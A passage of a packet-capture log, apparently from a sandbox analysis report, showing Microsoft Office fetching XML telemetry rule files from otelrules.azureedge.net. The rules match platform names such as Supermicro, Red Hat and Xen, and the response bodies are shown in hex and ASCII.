2024-10-05 12:34:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:06 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: bfab55ab-401e-0015-6202-170e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123406Z-1657d5bbd48p2j6x2quer0q02800000000r0000000007pnr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:06 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	57465	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:06 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:06 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 821e4157-c01e-0014-3301-17a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123406Z-1657d5bbd48tnj6wmberkg2xy800000000m0000000004pke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:06 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	57468	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:06 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:06 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 01bf113a-f01e-003c-3703-178cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123406Z-1657d5bbd48qjg85buwfdynm5w00000000h00000000064hf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:06 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	57469	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:06 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:06 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 7875ffac-201e-000c-7f02-1779c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123406Z-1657d5bbd48qjg85buwfdynm5w00000000hg0000000051dv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:06 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	57470	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:07 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:07 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3b7b7106-501e-0064-43e7-161f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123407Z-1657d5bbd482tlqpvyz9e93p5400000000fg000000004wmv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:07 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	57471	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:07 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 766164d5-c01e-0082-668c-15af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123407Z-15767c5fc554wklc0x4mc5pq0w0000000e8g00000000nhn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	57474	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:07 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:07 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f5ee0945-901e-0083-4202-17bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123407Z-1657d5bbd48jwrqbupe3ktsx9w00000000ng00000000g7gs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:07 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	57473	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:07 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:07 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb96d6a-f01e-003f-17e5-16d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123407Z-1657d5bbd48xdq5dkwwugdpzr000000000wg000000002059 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:07 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	57472	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:08 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dcc4dd0d-f01e-0099-7c8c-159171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123408Z-15767c5fc55gq5fmm10nm5qqr80000000e5g000000009aep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	57478	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:08 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:08 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 0607cd43-401e-0078-1b00-174d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123408Z-1657d5bbd48qjg85buwfdynm5w00000000f00000000050xz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:08 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	57479	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:08 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:08 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:08 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a5ff6bd9-301e-005d-3af2-16e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123408Z-1657d5bbd48brl8we3nu8cxwgn00000000t000000000cezq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:08 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	57480	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:08 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:08 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0c165d1d-a01e-000d-7dfe-16d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123408Z-1657d5bbd48brl8we3nu8cxwgn00000000s000000000gawp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:08 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	57481	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:08 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
